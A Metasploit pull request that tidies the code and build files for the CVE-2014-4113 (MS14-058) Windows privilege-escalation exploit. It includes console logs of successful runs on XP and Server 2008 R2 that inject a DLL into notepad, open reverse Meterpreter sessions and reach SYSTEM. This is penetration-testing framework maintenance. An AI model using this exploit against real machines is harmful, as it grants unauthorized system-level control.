rapid7/metasploit-framework — pull request #4082 by OJ (2014-10-27 23:19:01+00:00)
Title: Tidying up of code for the CVE-2014-4113

## Description

Given that I wasn't good enough or fast enough to help @jvazquez-r7 and @zeroSteiner smash out the recent CVE-2014-4113 exploit, I thought I could at least help with some code maintenance tasks. This PR contains a bunch of changes that include the following:

* Change of VS project so that it:
* is inline with more recent exploits.
* correctly uses the v120\_xp toolset.
* outputs intermediate files to the correct locations.
* Modification of code "standard" so that it fits with what we're trying to do with meterpreter:
* variable names are hungarian notation (yeah.. yeah I know).
* function names are snake\_case.
* BSD-style braces are applied.
* Fixed up the msbuild so that the x64 version of the exploit was also built from the command line
* Fixed up some other small things such as:
* removing the `QWORD` type as this is already covered by `DWORD_PTR`.
* removing `else` cases where the `if` cases were returning from function calls.
* using the platform-specific defines instead of having `#ifdef` clauses where possible.
* ditching some other redundancies.
* I had intended on writing doxygen comments, but for exploits like this there isn't much point. So I didn't. Sue me :dancers:

I'm totally piggybacking on the hot sauce provided by Juan and Spencer.

## Sample runs
Shellz still work in XP SP3:
```
msf exploit(ms14_058_track_popup_menu) > run

[*] Started reverse handler on 10.1.10.40:4444
[*] Launching notepad to host the exploit...
[+] Process 1696 launched.
[*] Reflectively injecting the exploit DLL into 1696...
[*] Injecting exploit into 1696...
[*] Exploit injected. Injecting payload into 1696...
[*] Payload injected. Executing exploit...
[*] Sending stage (770048 bytes) to 10.1.10.41
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 32 opened (10.1.10.40:4444 -> 10.1.10.41:1068) at 2014-10-28 09:13:22 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : OJ-75E3B8CC9475
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
```
and in 2008 R2 x64 SP1:
```
msf exploit(ms14_058_track_popup_menu) > run

[*] Started reverse handler on 10.1.10.40:4444
[*] Launching notepad to host the exploit...
[+] Process 2696 launched.
[*] Reflectively injecting the exploit DLL into 2696...
[*] Injecting exploit into 2696...
[*] Exploit injected. Injecting payload into 2696...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (972288 bytes) to 10.1.10.36
[*] Meterpreter session 33 opened (10.1.10.40:4444 -> 10.1.10.36:49176) at 2014-10-28 09:14:14 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-JK13S9QE1HE
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Meterpreter : x64/win64
```
I still can't get them to work on 7 x64 (note: it never has worked for me, even before these changes), but MS might have patched my system for me. Who knows.

## Verification

- [ ] Make sure that x64 still works
- [ ] Make sure that x86 still works
- [ ] Make sure that I haven't done anything stupid or awful